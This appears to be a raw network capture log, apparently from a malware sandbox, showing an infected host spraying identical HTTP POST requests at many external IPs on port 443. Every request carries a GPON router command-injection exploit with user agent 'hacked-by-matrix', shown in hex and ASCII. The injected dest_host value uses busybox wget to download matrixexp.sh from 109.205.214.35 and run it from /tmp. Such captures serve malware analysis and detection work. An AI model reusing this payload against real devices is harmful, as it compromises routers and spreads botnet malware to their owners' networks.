Mar 21, 2024 05:16:52.970634937 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.23	42742	79.71.159.41	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.970688105 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.23	58182	79.133.91.249	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.970720053 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.23	46884	79.9.91.213	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.970797062 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.23	60336	94.131.141.147	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.970838070 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.23	57514	5.231.178.92	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.970890045 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.23	53426	94.213.53.190	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.970920086 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.23	54168	37.108.231.27	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.970943928 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.23	49076	94.175.76.142	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.971004009 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.23	58418	2.138.242.102	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.971110106 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.23	41178	79.170.56.35	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.971110106 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.23	36430	109.254.29.28	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.971143961 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.23	56378	118.50.28.65	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.971174955 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.23	48972	94.75.26.1	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.971231937 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.23	54340	79.169.108.77	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.971271992 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.23	52202	79.94.134.246	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.971313000 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.23	45724	210.4.151.36	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.971353054 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.23	46012	118.45.205.34	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.971385956 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.23	40054	37.231.116.38	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.971426010 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.23	47402	42.214.174.179	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.971462965 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.23	37870	178.39.0.244	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.971502066 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.23	43256	94.206.21.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.971537113 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.23	42318	212.78.252.237	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.971577883 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.23	41950	5.173.186.58	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:16:52.971609116 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.23	44038	2.9.89.70	443

Timestamp	Bytes transferred	Direction	Data
